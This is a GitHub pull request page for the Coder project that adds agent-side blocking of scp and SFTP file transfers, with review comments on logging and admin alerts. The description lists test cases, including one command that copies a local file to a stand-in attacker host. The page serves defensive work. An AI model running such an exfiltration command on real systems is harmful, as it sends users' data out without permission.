-
Notifications
You must be signed in to change notification settings - Fork 881
feat: block file transfers for security #13501
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Left some comments.
We probably also want some tests to validate that blocking file transfers does not block regular old SSH.
@@ -272,6 +279,18 @@ func (s *Server) sessionHandler(session ssh.Session) { | |||
extraEnv = append(extraEnv, fmt.Sprintf("DISPLAY=:%d.0", x11.ScreenNumber)) | |||
} | |||
|
|||
if s.fileTransferBlocked(session) { | |||
s.logger.Warn(ctx, "file transfer blocked", slog.F("session_subsystem", session.Subsystem()), slog.F("raw_command", session.RawCommand())) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
out of scope: we may want to eventually have a way to surface this to admins as they may be interested in this sort of thing.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
a new metric? maybe consider this as a follow-up option. I don't know if an admin wants to review notifications from users accidentally trying to use scp
.
@@ -272,6 +279,18 @@ func (s *Server) sessionHandler(session ssh.Session) { | |||
extraEnv = append(extraEnv, fmt.Sprintf("DISPLAY=:%d.0", x11.ScreenNumber)) | |||
} | |||
|
|||
if s.fileTransferBlocked(session) { | |||
s.logger.Warn(ctx, "file transfer blocked", slog.F("session_subsystem", session.Subsystem()), slog.F("raw_command", session.RawCommand())) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do we run the risk here of logging a potentially large amount of text here?
Should we try and capture the user identity associated with this attempt, too?
Aside: this feels like a good use-case for an audit-log.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same as #13501 (comment)?
Yeah, the problem here is that it is logged on the agent side in /tmp/coder.blahblah/coder-agent-<some-file>.log
, and it is not raised to admins. We may want to think about some metrics to notify them.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
LGTM, mostly nits
Related: #13383
This PR adds logic to conditionally block file transfers via Coder agent.
How to use it:
These cases are covered:
ssh coder.workspace-17.main scp localfile remote.host.attacker:~
scp 2.txt coder.workspace-17.main:~
scp coder.workspace-17.main:~/1.txt /dev/null
Outputs -
As you can see, only in the first case, we can show an error message that something went wrong. In case of SFTP subsystem, we can just cut the connection.
Re 1:
Re 2:
Re 3: